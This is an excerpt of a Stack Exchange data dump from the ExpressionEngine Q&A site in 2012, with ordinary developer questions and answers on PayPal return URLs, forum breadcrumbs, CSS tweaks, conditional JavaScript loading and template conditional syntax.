  <row Id="1498" PostTypeId="1" AcceptedAnswerId="1510" CreationDate="2012-12-12T13:52:11.710" Score="2" ViewCount="275" Body="&lt;p&gt;EE 2.5.3 and Store 1.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an issue where it looks like PayPal is not returning the customer to the correct specific Exp:resso Store order confirmation page after successful PayPal Express payment.  This is odd as I tested this installation with no problem, it seems to have just recently started occurring.  It happens with either PayPal account payment or credit/debit card.  The page where it returns the customer to is (wrongly) &lt;a href=&quot;http://www.example.com/about&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/about&lt;/a&gt; . The PayPal account 'Auto Return' setting is 'off' as I suspect the return URL should be passed to PayPal by Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the EE template code for the final /checkout3 page before transfer to PayPal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    form_class=&quot;form-horizontal&quot;&#xA;    return=&quot;music/order/ORDER_HASH&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    payment_method=&quot;paypal_express&quot;&#xA;    error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code generated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;http://www.example.com/music/checkout3&quot;; method=&quot;post&quot; id=&quot;&quot; name=&quot;&quot; class=&quot;form-horizontal&quot; data-order-total=&quot;10&quot; &amp;gt;&#xA;&amp;lt;div style=&quot;margin:0;padding:0;display:inline;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;return_url&quot; value=&quot;music/order/ORDER_HASH&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;payment_method&quot; value=&quot;paypal_express&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;20&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;music/checkout3&quot; /&amp;gt; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks a million for any help!&lt;/p&gt;&#xA;" OwnerUserId="598" LastEditorUserId="598" LastEditDate="2016-01-26T10:05:48.833" LastActivityDate="2016-01-26T16:13:25.207" Title="Exp:resso Store not returning to correct URL from PayPal" Tags="|ee2|expresso-store|ecommerce|paypal|payment-gateway|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1499" PostTypeId="2" ParentId="1478" CreationDate="2012-12-12T14:41:38.393" Score="1" Body="&lt;p&gt;In addition to customizing the layout of the publish screen &lt;a href=&quot;https://expressionengine.stackexchange.com/a/1488/55&quot;&gt;as per janvl's answer&lt;/a&gt;, you can have a look at one of the available &lt;a href=&quot;http://devot-ee.com/add-ons/filter?t=cpt&quot; rel=&quot;nofollow noreferrer&quot;&gt;third-party themes for the control panel&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2012-12-13T18:08:21.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1500" PostTypeId="2" ParentId="1477" CreationDate="2012-12-12T14:48:39.187" Score="1" Body="&lt;p&gt;Your best bet is probably going to be to develop your own &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/fieldtypes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fieldtype&lt;/a&gt; add-on. Using &lt;a href=&quot;http://pkg.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pkg.io&lt;/a&gt; to generate the boilerplate will kickstart the process for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you want to use an existing add-on then &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow noreferrer&quot;&gt;Playa&lt;/a&gt; could come close to what you need. It has autocomplete when using single-select mode. The multiple-select mode (called drop panes) has match-anywhere filtering using a search input built right into the field. And you have a lot of control over what channel entries are available in the field by pulling entries only from specific channels, statuses, authors, and/or categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Even better, see &lt;a href=&quot;https://expressionengine.stackexchange.com/a/1501/22&quot;&gt;the answer posted by Derek&lt;/a&gt; to check out the Suggest Field!&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2012-12-13T17:34:17.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1501" PostTypeId="2" ParentId="1477" CreationDate="2012-12-12T14:52:51.810" Score="5" Body="&lt;p&gt;Have you looked at the &lt;a href=&quot;http://devot-ee.com/add-ons/suggest-field&quot;&gt;Suggest Field&lt;/a&gt; fieldtype? It uses previous values entered in the same field (previous entries), but it could be easily modified to look at another field instead. &lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-12T14:52:51.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1502" PostTypeId="1" AcceptedAnswerId="1569" CreationDate="2012-12-12T15:09:07.187" Score="3" ViewCount="109" Body="&lt;p&gt;Is it possible to globaly hide the category-name in the Forum-Breadcrumb? &lt;code&gt;{include:breadcrumb}&lt;/code&gt; includes the «Forum Home», Category, Forum and Title — but I wan't to get rid of the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I have to edit in the modules/forum-folder to delete the category from the breadcrumb?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2012-12-13T13:27:48.313" Title="Hide Category in Forum Breadcrumb" Tags="|php|forum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1503" PostTypeId="1" AcceptedAnswerId="1504" CreationDate="2012-12-12T15:21:22.800" Score="2" ViewCount="168" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://www.putyourlightson.net/expresso&quot; rel=&quot;nofollow noreferrer&quot;&gt;Expresso&lt;/a&gt; by Put Your Lights On. The issue we are having is demonstrated in the image below. When a pop-up window is generated to add links, images, etc. The entered text is partially cut off, because either the field box is too small or the text is too big.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oIGq6.png&quot; alt=&quot;Can&amp;#39;t Read Text Entered Into Field&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm more than willing to edit this myself, but I can't seem to find where and what is controlling the input field size. I'm using: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine 2.5.3&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.putyourlightson.net/expresso&quot; rel=&quot;nofollow noreferrer&quot;&gt;Espresso v2.3&lt;/a&gt; by Put Your Lights On&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.putyourlightson.net/responsive-cp&quot; rel=&quot;nofollow noreferrer&quot;&gt;Responsive CP&lt;/a&gt; by Put Your Lights On&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/nerdery&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nerdery Control Panel Theme&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm just not certain which item, would control the input field size for this. Is it the basic EE CSS, Espresso, Responsive CP or somewhere else. The expresso.css file does not seem to contain the info, I need to modify.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-12T15:39:53.117" Title="Where Can I Adjust CSS for this Menu Option?" Tags="|css|wysiwyg|expresso-toolbar|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1504" PostTypeId="2" ParentId="1503" CreationDate="2012-12-12T15:25:43.200" Score="3" Body="&lt;p&gt;Chrome's Inspector should be your best-friend. Inspect the element (right-click on it and click &quot;Inspect Element&quot;), go to &quot;Computed Style&quot;, find the height and toggle it down to see the source-file.&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2012-12-12T15:25:43.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1505" PostTypeId="2" ParentId="1498" CreationDate="2012-12-12T15:28:22.577" Score="1" Body="&lt;p&gt;Try adding the domain to your return_url variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return_url&quot; value=&quot;http://www.example.com/music/order/ORDER_HASH&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="598" LastEditDate="2016-01-26T16:13:25.207" LastActivityDate="2016-01-26T16:13:25.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1506" PostTypeId="2" ParentId="7" CreationDate="2012-12-12T15:30:08.443" Score="1" Body="&lt;p&gt;My way: always single quoted!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if '{my_variabile}' == '1'}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if '{segment_3}' == '{category_url_title}' }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if '{count}' == '{1}'}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It' about EE parsing order.&lt;/p&gt;&#xA;" OwnerUserId="310" LastActivityDate="2012-12-12T15:30:08.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1507" PostTypeId="2" ParentId="1502" CreationDate="2012-12-12T15:39:14.993" Score="0" Body="&lt;p&gt;I'm not sure that this is possible. I just looked at the default theme for the discussion module and in forum_breadcrumb &gt; breadcrumb_trail.html there is the following code, which suggests to me that it's 100% dynamically generated. I know that there is no gui interface to turn on/off various aspects of breadcrumbs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{crumb_link}&quot;&amp;gt;{crumb_title}&amp;lt;/a&amp;gt;&amp;lt;span class=&quot;breadcrumbspacer&quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll probably need to modify the actually php files for the dicussion module to remove the categories. The discussion module is notoriously difficult to theme and customize.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-12T15:39:14.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1508" PostTypeId="2" ParentId="1503" CreationDate="2012-12-12T15:39:53.117" Score="2" Body="&lt;p&gt;First step would be to make sure your browser isn't zoomed in on the text by resetting the zoom level. Here are FireFox instructions:&lt;br&gt;&#xA;&lt;a href=&quot;http://support.mozilla.org/en-US/kb/font-size-and-zoom-increase-size-of-web-pages&quot; rel=&quot;nofollow&quot;&gt;http://support.mozilla.org/en-US/kb/font-size-and-zoom-increase-size-of-web-pages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to inject custom CSS into the CP, you can use this &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CP CSS &amp;amp; JS&lt;/strong&gt;&lt;/a&gt; extension to do so.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Using your browser's inspect tool will help you track down the exact CSS and CSS file causing the issue if it's a CSS problem.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-12T15:39:53.117" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1509" PostTypeId="2" ParentId="1486" CreationDate="2012-12-12T15:44:38.527" Score="1" Body="&lt;p&gt;Unfortunately this isn't really possible. In this case I would recommend looking at a different CMS that has a more compatible licensing scheme for your particular project.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-12T15:44:38.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1510" PostTypeId="2" ParentId="1498" CreationDate="2012-12-12T16:30:29.563" Score="3" Body="&lt;p&gt;There was a stray 301 Redirect on /music/order/ in the .htaccess file which was sending the customer back to the wrong page after successful PayPal submission.&lt;/p&gt;&#xA;" OwnerUserId="598" LastActivityDate="2012-12-12T16:30:29.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1511" PostTypeId="1" CreationDate="2012-12-12T16:35:34.577" Score="1" ViewCount="155" Body="&lt;p&gt;Typekit has a nice dynamic search feature on their site which i would like to try and include in a project i am working on, &lt;a href=&quot;http://www.typekit.com/fonts&quot; rel=&quot;nofollow&quot;&gt;www.typekit.com/fonts&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't mean the search box with the auto suggest, i am referring to the sidebar on the right&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used Super Search by Solspace before and thought it would be a suitable add-on to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am going to have 2 groups that i need to search / filter by, these are 'Country' and 'Sector'&#xA;So it would be like Typekit have it, just with 2 filter sections&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could shed any light on how this would work and/or how i may go about this, that would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="16" LastEditDate="2012-12-12T18:42:44.130" LastActivityDate="2012-12-12T18:42:44.130" Title="Creating a Typekit search functionality with EE and Solspace Super Search" Tags="|ee2|ajax|search|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1512" PostTypeId="1" AcceptedAnswerId="1517" CreationDate="2012-12-12T16:37:32.620" Score="2" ViewCount="177" Body="&lt;p&gt;I wish to load some javascript in the footer, but only if a certain condition is met. I was wondering what the best option might be for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if an entry has some related entries further up the page, then add the javascript in the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason being that i don't want to include the javascript on every page. &lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2012-12-12T17:32:11.460" Title="Conditionally load JavaScript" Tags="|javascript|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1513" PostTypeId="2" ParentId="1512" CreationDate="2012-12-12T16:41:37.160" Score="0" Body="&lt;p&gt;Inside your entries tag perform a conditional looking for those related entries. Wrap it in a stash tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your footer call the stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work. I'm a little unfamiliar with stash so can't give you a code sample guaranteed to work.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-12T16:41:37.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1514" PostTypeId="2" ParentId="1512" CreationDate="2012-12-12T16:50:17.603" Score="2" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;http://devot-ee.com/add-ons/string&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;String&lt;/strong&gt;&lt;/a&gt; or &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/variables&quot; rel=&quot;nofollow&quot;&gt;Variables&lt;/a&gt;&lt;/strong&gt; plugins. Should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/string&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;String plugin&lt;/strong&gt;&lt;/a&gt; allows you to create and manipulate variables in&#xA;  your templates. This plugin is designed to take advantage of&#xA;  ExpressionEngine's unique way of parsing templates. Because the main&#xA;  template is executed to completion before any embedded templates are&#xA;  processed this plugin can be used to create a variable in the main&#xA;  template and output the value of the string in any embedded&#xA;  template... even an embedded page header template that comes before&#xA;  the point where you built the string!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/variables&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Variables plugin&lt;/strong&gt;&lt;/a&gt; gives the possibility to create variables (either&#xA;  static or dynamic) and use them later on. This means that for example&#xA;  you can set certain data and use it in the head (if it's embedded)&#xA;  without having to re-create a tag pair for the specific channel.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-12T17:05:03.300" LastActivityDate="2012-12-12T17:05:03.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1515" PostTypeId="2" ParentId="7" CreationDate="2012-12-12T17:02:54.400" Score="13" Body="&lt;p&gt;As I have noticed a lot, you mainly have to use quoted values when working with third party modules/plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it has something to with the fact that not all developers call the &lt;code&gt;prep_conditionals&lt;/code&gt; method in their code, so the values are parsed by the method that also replaces the normal tags in your template (not in conditionals).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the &lt;code&gt;prep_conditionals&lt;/code&gt;-method it internally adds the quotes around values and &lt;code&gt;!= false&lt;/code&gt; when using a boolean check (no 2nd part in your conditional) before the template parser is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I generally use the 'clean' version when working with EE native values, but add quotes when working with third party values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Wouter&lt;/p&gt;&#xA;" OwnerUserId="76" LastEditorUserId="76" LastEditDate="2012-12-12T17:12:20.823" LastActivityDate="2012-12-12T17:12:20.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1516" PostTypeId="2" ParentId="1511" CreationDate="2012-12-12T17:13:01.290" Score="2" Body="&lt;p&gt;This tutorial might get you started &lt;a href=&quot;http://blog.aaronmbushnell.com/post/23434803999/creating-an-ajax-filter-using-solspace-super-search&quot; rel=&quot;nofollow&quot;&gt;http://blog.aaronmbushnell.com/post/23434803999/creating-an-ajax-filter-using-solspace-super-search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's just 2 groups you might also consider using dynamic parameters: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/dynamic_parameters.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/dynamic_parameters.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-12-12T17:13:01.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1517" PostTypeId="2" ParentId="1512" CreationDate="2012-12-12T17:32:11.460" Score="2" Body="&lt;p&gt;Something like &lt;a href=&quot;https://github.com/croxton/Switchee&quot; rel=&quot;nofollow&quot;&gt;SWITCHEE&lt;/a&gt; would be useful to sort out conditionals without the information being loaded unless the condition is met. It is a little bit better than a straight conditional because the native if..then still looks for the item, just doesn't load it in. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{condition}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;x&quot;}&#xA;     load js file&#xA;  {/case}&#xA;  {case value=&quot;y&quot;}&#xA;     another js file&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="99" LastActivityDate="2012-12-12T17:32:11.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1518" PostTypeId="1" AcceptedAnswerId="1671" CreationDate="2012-12-12T17:35:41.767" Score="3" ViewCount="170" Body="&lt;p&gt;I'm working on a store that serves both consumers and wholesale retailers. The consumers pay sales tax, but the wholesalers don't. In my template, I can check for a Member Variable to see whether the customer should be tax-exempt. Then, can I somehow [via POST]:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;toggle {tax_exempt} on a per-item basis?&lt;/li&gt;&#xA;&lt;li&gt;override the Tax Rate on a per-order basis?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-09-23T15:27:48.593" Title="Can I toggle sales tax exemptions in Exp:resso Store templates?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1519" PostTypeId="1" CreationDate="2012-12-12T17:53:17.700" Score="3" ViewCount="53" Body="&lt;p&gt;We have a legacy site running EE 1.6.9, and the Forum module 2.1.0.  (Upgrading is not an option due to changes needed in dozens of templates.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have just noticed that when running the forum through EE templates, we are no longer getting the Post Submission validation error messages.  We do get them when running just through the forum templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've also tried changing the theme from our custom one, to all of the other default themes, and see the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone else remember having this issue, or know of a fix?   I can't even seem to find the EE 1.x bug tracker any longer.&lt;/p&gt;&#xA;" OwnerUserId="229" LastActivityDate="2012-12-16T17:25:49.923" Title="Should error notifications work in Forum module in EE 1.6.9?" Tags="|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1520" PostTypeId="1" AcceptedAnswerId="1623" CreationDate="2012-12-12T17:53:55.720" Score="5" ViewCount="677" Body="&lt;p&gt;I'm looking for implementation information about using &lt;a href=&quot;http://backbonejs.org&quot; rel=&quot;nofollow&quot;&gt;Backbone.js&lt;/a&gt; on the front end of an ExpressionEngine site. I saw &lt;a href=&quot;http://network.chick-fil-aleadercast.com/content/#!/&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt; that appears to be using EE and Backbone together but would be curious to learn more about how that would be implemented. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/entry-api&quot; rel=&quot;nofollow&quot;&gt;Entry API add-on&lt;/a&gt; is the closest add-on currently built for EE that would support the REST functionality needed for Backbone. But I was wondering if this would be the recommended way to approach integrating with Backbone, what are the potential security issues, or would this be something that would have to be implemented through developing a custom plugin that will handle the interaction between backbone and the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I hope to achieve is similar to the link as well. Essentially it would be a large category listings page that would be displayed and filtered based on category check boxes. Which then would simply be probably a custom SQL query based on the cat id's passed in. Then using backbone for the display of that updated query result (through REST) based on category selection in the main content area of the front end through the JavaScript. The interaction between the REST connection would be for display only and never would it be used for any actual update or create operations.&lt;/p&gt;&#xA;" OwnerUserId="601" LastEditorUserId="601" LastEditDate="2012-12-12T20:00:57.127" LastActivityDate="2013-01-23T03:29:03.137" Title="ExpressionEngine with Backbone?" Tags="|ajax|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1521" PostTypeId="1" AcceptedAnswerId="2061" CreationDate="2012-12-12T18:19:54.533" Score="6" ViewCount="208" Body="&lt;p&gt;Anyone know how to &quot;unlink&quot; the &lt;code&gt;{next_path}&lt;/code&gt; or &lt;code&gt;{previous_path}&lt;/code&gt; for &lt;code&gt;{exp:channel:calendar}&lt;/code&gt; if there aren't any entries for the next or previous month when building the mini-calendar?&lt;/p&gt;&#xA;" OwnerUserId="565" LastEditorUserId="150" LastEditDate="2012-12-24T18:39:54.810" LastActivityDate="2012-12-24T18:39:54.810" Title="Native Calendar Tag: Disable next_path or previous_path if no entries?" Tags="|channel|next-prev|calendar|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1522" PostTypeId="1" AcceptedAnswerId="1543" CreationDate="2012-12-12T18:40:06.143" Score="2" ViewCount="121" Body="&lt;p&gt;I am running CartThrob and using Live shipping rates.  The problem I have run into is if I have one product in the cart and I have Shipping Disabled for that product the live rates plugin is still showing shipping options.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do others get around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CartThrob 2.2.2&#xA;EE 2.5.3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Shipping: &amp;lt;select name=&quot;shipping_option&quot;&amp;gt;&#xA;{exp:cartthrob:get_shipping_options}&#xA;    &amp;lt;option value=&quot;{rate_short_name}&quot; {selected}&amp;gt;{rate_title} - {price}&amp;lt;/option&amp;gt;&#xA;{/exp:cartthrob:get_shipping_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2012-12-13T02:02:35.373" Title="Cart Throb - live rates and disable shipping" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1523" PostTypeId="2" ParentId="7" CreationDate="2012-12-12T18:44:06.117" Score="6" Body="&lt;p&gt;Here is a FAQ on it - from the Wayback machine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://web.archive.org/web/20101020213825/http://expressionengine.com/forums/viewthread/130537/&quot; rel=&quot;noreferrer&quot;&gt;http://web.archive.org/web/20101020213825/http://expressionengine.com/forums/viewthread/130537/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I link to it because there is a security factor when you have quoted and braced conditionals:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;5) Are you comparing a quoted variable to a value?  This is not supported and depending on the source of the variable, may even have security implications.  By doing this, you are allowing the tag that “owns” that variable to parse and replace it with its unfiltered contents.  Doing so is trusting that it has no bad characters, no javascript, and no need for error checking that is normally performed when the conditional is used with the proper syntax outline above.&#xA;&#xA;Unsupported, possible security risk:&#xA;&#xA;&lt;code&gt;&#xA;{if &quot;{custom_field}&quot; == &quot;foo&quot;} &#xA;&lt;/code&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So you want to be really careful with that syntax any time you have user input information (ie: segments!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa Wess&lt;br /&gt;&#xA;Pixel &amp;amp; Tonic&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2012-12-12T18:44:06.117" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1524" PostTypeId="1" AcceptedAnswerId="1606" CreationDate="2012-12-12T19:06:17.233" Score="0" ViewCount="308" Body="&lt;p&gt;I've taken over a site that has a lot of customization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URLs like: /member/forgot_password yield a blank page. If I visit them when logged in as a superadmin, I get this debugging info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.000004 / 11.29MB) - Begin Template Processing -&#xA;(0.000398 / 11.36MB) URI: member/forgot_password&#xA;(0.000408 / 11.36MB) Path.php Template: /&#xA;(0.000415 / 11.36MB) Retrieving Template&#xA;(0.000420 / 11.36MB) Parsing Template URI&#xA;(0.002118 / 11.68MB) Template group and template not found, showing 404 page&#xA;(0.002130 / 11.68MB) Retrieving Template from Database: /&#xA;(0.003083 / 11.69MB) Template Not Found&#xA;(0.003096 / 11.69MB) Template Type: 404&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Detective work to figure out just what would hide this basic member function. Member login does work, sort of.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2012-12-14T00:07:16.003" Title="Forgot password/other member functions busted" Tags="|members|login|forgot-password|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1525" PostTypeId="2" ParentId="1524" CreationDate="2012-12-12T19:22:54.013" Score="1" Body="&lt;p&gt;Make sure the member profile trigger word is set in the control panel member preferences. That word &lt;code&gt;example.com/member/profile/&lt;/code&gt; is used to 'trigger' the member module&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/membership_preferences.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/members/membership_preferences.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;: that being said: i generally use the Free_member add-on, which allows templating these member forms and removes the default oldschool 3 second &quot;you are now logged in&quot; 3 second redirect delay screen.&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2012-12-12T21:03:52.760" LastActivityDate="2012-12-12T21:03:52.760" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
